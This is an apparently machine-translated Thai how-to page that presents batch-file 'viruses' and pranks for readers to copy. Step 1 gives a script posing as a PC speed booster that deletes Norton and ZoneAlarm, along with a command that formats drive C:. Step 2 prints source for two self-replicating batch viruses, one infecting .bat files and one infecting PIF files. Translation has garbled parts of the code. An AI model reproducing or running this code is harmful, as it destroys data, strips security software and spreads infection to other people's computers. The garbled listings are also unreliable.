สารบัญ:
- ขั้นตอนที่ 1: ไวรัสจริง (ตัวง่าย)
- ขั้นตอนที่ 2: ไวรัสจริง (ขั้นสูง)
- ขั้นตอนที่ 3: เล่นตลกไวรัสและเคล็ดลับ
วีดีโอ: Batch Tricks and Viruses: 3 ขั้นตอน
2024 ผู้เขียน: John Day | [email protected]. แก้ไขล่าสุด: 2024-01-30 13:09
วิธีทำ Prank และไวรัสจริงใน BATCHNote: ฉันไม่รับผิดชอบต่อความเสียหายใด ๆ ที่คุณทำกับคอมพิวเตอร์ของคุณกับคอมพิวเตอร์ของคนอื่นหมายเหตุ: เมื่อคุณต้องการบันทึกไฟล์ คุณควรบันทึกเป็นอย่างอื่น.bat
ขั้นตอนที่ 1: ไวรัสจริง (ตัวง่าย)
อันแรก:คัดลอกรหัส ******************************************* **************@echo ยินดีต้อนรับสู่ winbooster โดย ELECTROfun@echo หากคุณต้องการให้คอมพิวเตอร์ของคุณทำงานเร็วขึ้น คุณควรทำตามขั้นตอนต่อไปนี้@pause cd\ c: dir dir c:\progra~1\norton~1 @echo ตอนนี้คุณควรพิมพ์ y แล้วกด Enter @pause del c:\progra~1\norton~1 @pause c: dir @pause @dir c:\progra~1 dir c:\progra~1\zonea~1\zonealarm del c:\progra~1\zonea~1\zonealarm @echo ตกลง ตอนนี้คอมพิวเตอร์ของคุณเป็น "จริงๆ!" ด่วน:ออก *********************************************** *หมายเหตุ:บันทึกไฟล์อะไรก็ได้ที่คุณต้องการ.bat หมายเหตุ:ทุกอย่างที่เป็น After @echo สามารถเปลี่ยนแปลงได้ (คุณสามารถเขียนอะไรก็ได้ที่คุณต้องการ) อันที่สอง:******************สี 02รูปแบบ C:******************
ขั้นตอนที่ 2: ไวรัสจริง (ขั้นสูง)
1. ทรงพลังที่สุด*******************@if not '%0==' if '%_melt%==' goto meltbeg::---- dummy โฮสต์ --------@echo offecho สวัสดีชาวโลก!::---- สิ้นสุดโฮสต์จำลอง ----@goto MeLTend [MeLT_2a]:MeLTbeg@echo off%_MeLT%if '%1=='MeLT ไปที่ MeLT%2if %comspec% set comspec=%_MeLT%command%comspec% /e:5000 /c %0 MeLT virset MeLTcl=%1 %2 %3 %4 %5 %6 %7 %8 %9call % 0 MeLT rhset _MeLT=set MeLTcl=goto MeLTend:MeLTrhset _MeLT=x%0 %MeLTcl%:MeLTvirset MeLTH=%0ถ้าไม่มี %_MeLT%%temp%\nul set temp=%tmp%if มีอยู่ %temp%\MeLT_2a goto MeLTrun%0 MeLT fnd. %path%:MeLTfndshift%_MeLT%if '%2==' exit MeLTset MeLT=%2\%MeLTH%.batif ไม่มีอยู่ %MeLT% set MeLT=%2\%MeLTH%ถ้าไม่มี %MeLT% set MeLT= %2%MeLTH%.batif ไม่มี %MeLT% ตั้งค่า MeLT=%2%MeLTH%ถ้าไม่มี %MeLT% ไปที่ MeLTfndfind "MeLT"%temp%\MeLT_2aattrib %temp%\MeLT_2a +h:MeLTrun%MeLTH% MeLT s… %path%:MeLTsshift%_MeLT%if '%2==' ออกจาก MeLT สำหรับ %%a ใน (%2\*.bat %2*.bat) เรียก %MeLTH% MeLT inf %%agoto MeLTs:MeLTinffind / ฉัน "MeLT" nulif ไม่ใช่ errorlevel 1 ไปที่ MeLTnoecho @if ไม่ใช่ '%%0==' if '%%_melt%%==' goto meltbeg>MeLT.ttype %3>>MeLT.techo.>>MeLT.ttype % temp%\MeLT_2a>>MeLT.tmove MeLT.t %3>nulexit MeLT:MeLTact - ข้อความบนหน้าจอละลายแล้วใส่กลับไปที่ค่าปกติ e 100 BA D0 07 BB 00 B8 8E C3 8B CA 33 FF 26 8B 05 FE>MeLT.techo e 110 C0 FE C4 26 89 05 47 47 E2 F2 FE 06 24 01 75 E8>>MeLT.techo e 120 B4 4C CD 21 00>>MeLT.techo g>>MeLT.tdebugnuldel MeLT.texit MeLT:MeLTnoset MeLTC =%MeLTC%1if %MeLTC%==11111111111 ไปที่ MeLTact:MeLTend*********************************** ********2. นี่คือไวรัสที่ 'ติด' ไฟล์ PIF ที่ Windows ใช้เพื่อเรียกใช้โปรแกรม DOS มันทำงานโดยการสร้างแบตช์สหายที่ซ่อนอยู่ซึ่งมีสำเนาของสิ่งนี้ จากนั้นแก้ไขไฟล์ PIF เพื่อให้แบตช์ที่แสดงร่วมทำงานก่อน หลังจากที่ตัวแสดงร่วมทำงาน โปรแกรมโฮสต์ดั้งเดิมจะรันโปรแกรมที่ชื่อนั้นจะถูกเข้ารหัสลงในโปรแกรมแสดงร่วม ไฟล์ pif ถูกทำเครื่องหมายเพื่อไม่ให้ติดเชื้อซ้ำ เฉพาะ PIF เท่านั้นที่ได้รับผลกระทบ ไม่มีการเปลี่ยนแปลงใดๆ กับโปรแกรมที่ติดไวรัส ในการ 'รักษา' ให้ใช้ PIFEDIT เพื่อกู้คืนชื่อไฟล์ดั้งเดิม จากนั้นจึงลบไฟล์ที่ซ่อนอยู่ออก ******************************* ***************@echo off:: host filename…set pifvo=LIST. COM:: loop dispatcher…if '%1=='PiFV goto PiFV_%2:: เรียกใช้ virus!set _PiFV=ถ้าไม่มี %comspec% set comspec=C:\COMMAND. COM%_PiFV%%comspec% /e:5000 /c %0 PiFV go>nulif มีอยู่ PiFV! del PiFV!:: เรียกใช้ชุดโฮสต์ PiFVcl=%1 %2 %3 %4 %5 %6 %7 %8 %9call %0 PiFV hstset PiFVo=set PiFVcl=:: ตรวจสอบการเปิดใช้งาน… echo.|date|find / ฉัน "sat">nul. PiFVif errorlevel 1 ไปที่ PiFV_endecho.|time|find "7">nul. PiFVif errorlevel 1 goto PiFV_msgset PiFV=echocls%_PiFV%%PiFV%.%PiFV% ครั้งหนึ่งเคยมีนากชื่อ Oscer%PiFV % ที่อ้างว่ารู้วิธีทำน้ำ%PiFV% "ไม่มีเขื่อนแล้ว" เขาพูดว่า "ใช้น้ำของฉันแทน!"%PiFV% แต่พี่นากไม่ประทับใจ.pause>nul. PiFVset PiFV=goto PiFV_end: PiFV_msgecho [PiFV] โดย WaveFuncgoto PiFV_end:PiFV_hst%PiFVo% %PiFVcl%goto PiFV_end:PiFV_goset PiFVh=%0if ไม่มีอยู่ %PiFVh% ตั้งค่า PiFVh=%0.batif ไม่มีอยู่ %PiFVh% exitfor %ifa ใน เรียก %0 PiFV inf %%aexit PiFV:PiFV_infset PiFVp=%3:: รับชื่อไฟล์ของเหยื่อและเครื่องหมายการติดไวรัส:: จากไฟล์ PIF โดยใช้การดีบัก…ถ้ามี PiFV! goto PiFV_1echo m 124, 162 524>PiFV!echo e 100 '@set fn='>>PiFV!echo m 524, 562 108>>PiFV!echo n pifv$.bat>>PiFV!echo rcx>>PiFV!echo 47>>PiFV!echo w>>PiFV!echo m 55E, 561 108>>PiFV!echo e 10C 0>>PiFV!echo n pifv$$.bat>>PiFV!echo rcx>>PiFV!echo 10>> PiFV!echo w>>PiFV!echo q>>PiFV!:PiFV_1debug %PiFVp%nulcall PiFV$set PiFVn=%fn%call PiFV$$set PiFVi=%fn%del PiFV$?.bat:: pifvn=orig filename:: pifvi=เครื่องหมายการติดเชื้อ:: pifvp=pif filename:: pifvh=companion bat file:: ข้ามไฟล์ที่ติดไวรัสหรือ 'ว่างเปล่า' pifs…ถ้า '%PiFVi%=='PiFV ไปที่ PiFV_endif '%PiFVn%==' ไปที่ PiFV_end:: don't shadow command.com (จะดีมาก) echo %PiFVn%|find /i "command">nulif ไม่ใช่ errorlevel 1 goto PiFV_end:: infectable - create a companion batch…:: (โค้ดต่อไปนี้ตัดส่วนขยายออก) เสียงสะท้อน e 100 e8 16 00 b4 08 cd 21 3c 00 74 0c 3c 2e 74 08 88>PiFV$$echo e 110 c2 b4 02 cd 21 eb ec cd 20 ba 21 01 b4 09 cd 21>>PiFV$$echo e 120 c3 73 65 74 20 66 6e 3d 24 00>>PiFV$$เสียงสะท้อน n pifv$.com>>PiFV$$$echo rcx>>PiFV$$$echo 2a>>PiFV$$$echo w>>PiFV$$echo q >>PiFV$$debugnulecho %PiFVn%|PiFV$>PiFV$$.batcall PiFV$$set PiFVb=%fn%.batdel PiFV$?.*:: pifvb=new batch name:: do not shadow ถ้า comp มีค่าเท่ากัน ตั้งชื่อเป็น hostif %PiFVo%==%PiFVb% ไปที่ PiFV_endif %PiFVb% ไปที่ PiFV_endecho @echo off>%PiFVb%echo set pifvo=%pifvn%>>%PiFVb%find "PiFV">%PiFVb%attrib %PiFVb% +h:: …และชี้ PIF ไปที่ Companionecho e 15E 'PiFV', 0>PiFV$$$echo e 124 '%PiFVb%', 0>>PiFV$$$echo w>>PiFV$$$echo q>>PiFV $$debug %PiFVp%nuldel PiFV$$:: ฉันคิดว่าเราทำเสร็จแล้ว!exit PiFV:PiFV_end:: สงสัยว่ามีบั๊กทั้งหมดกี่ตัวในนั้น หนึ่งเดียว:: วิธีค้นหา…***************************************** **********
ขั้นตอนที่ 3: เล่นตลกไวรัสและเคล็ดลับ
1.เล่นตลกไวรัส*******************สี 02@echo offecho dir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/ sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/sdir/secho@echo* *************************หมายเหตุ: "สี 02" คือการสร้างข้อความ green2.trick (รหัสเมทริกซ์)****** **************************@echo offcolor 02:startecho %random% %random% %random% %random% %random% %random% %สุ่ม% %สุ่ม% %สุ่ม% %สุ่ม% %สุ่ม% %สุ่ม% %สุ่ม% %สุ่ม% ไปที่เริ่มต้น************************ ******************
แนะนำ:
Bubble Sort in Batch!: 4 ขั้นตอน
Bubble Sort in Batch!: เคยสงสัยไหมว่าการสร้างอัลกอริธึมการเรียงลำดับแบบง่าย ๆ ในแบตช์บริสุทธิ์? ไม่ต้องกังวล มันง่ายเหมือนพาย! นอกจากนี้ยังแสดงขั้นตอนการเรียงลำดับ (หมายเหตุ: ฉันทำสิ่งนี้ในคอมพิวเตอร์ที่ใช้ Windows XP ดังนั้นรหัสบางอย่างอาจไม่ทำงาน ฉันไม่แน่ใจ ขออภัย…)
Contact Less and Corrosion Free Water Level Indicator and Motor Control.: 5 ขั้นตอน
Contact Less and Corrosion Free Water Level Indicator and Motor Control.: HI ในคำแนะนำนี้เราจะดูวิธีรับสถานะของถังเก็บน้ำตามระดับน้ำ (สูง, ปานกลาง, ต่ำ) ของถังเหนือศีรษะโดยใช้ไฟ LED สีต่างกันสามดวงใน วิธีแบบไม่สัมผัสด้วยความช่วยเหลือของเซ็นเซอร์อัลตราโซนิกและบอร์ด Arduino unoP
Eagle Hacks / Tricks: ตัวอย่าง TB6600 CNC Mill Stepper Motor Driver: 7 ขั้นตอน
Eagle Hacks/tricks: ตัวอย่าง TB6600 CNC Mill Stepper Motor Driver: นี่เป็นโครงการที่ดีในการแสดงกลเม็ดเล็ก ๆ น้อย ๆ ที่จะทำให้ชีวิตของคุณง่ายขึ้นเมื่อสร้าง PCB เพื่อสอนการแฮ็กสองสามอย่างเพื่อให้คุณได้รับประโยชน์มากขึ้น Eagle ฉันเลือกโครงการง่ายๆ ที่ฉันทำเพื่อ Kickstarter ฉันต้องการภายนอก
การพัฒนาเกม 101: Tips & Tricks!: 11 Steps
การพัฒนาเกม 101: Tips & Tricks!: คุณชอบเล่นวิดีโอเกมไหม? อาจถึงเวลาแล้ว คุณสร้างมันขึ้นมาเอง! ไม่สวยเหรอ? ความคิดที่ว่าคุณจะได้สร้างโลกของคุณเองตามกฎและจินตนาการของคุณ? ผมว่าใช่ แต่มาดูของจริงกันก่อน คุณเริ่มเคร
การเขียนโปรแกรมใน VB6: Tips and Tricks: 3 Steps
การเขียนโปรแกรมใน VB6: Tips and Tricks: ฉันเขียนโปรแกรมในเวลาว่าง และเป็นโปรแกรมเมอร์ที่เชี่ยวชาญโดยใช้ VB6 เป็นเรื่องง่ายและฉันยังไม่พบสิ่งใดที่ฉันต้องการเพื่อให้บรรลุซึ่งไม่สามารถทำได้ แม้ว่าบางครั้งอาจเป็นเรื่องยากที่จะทำภารกิจของคุณให้สำเร็จ ระหว่างทางก็เจออะไรมากมาย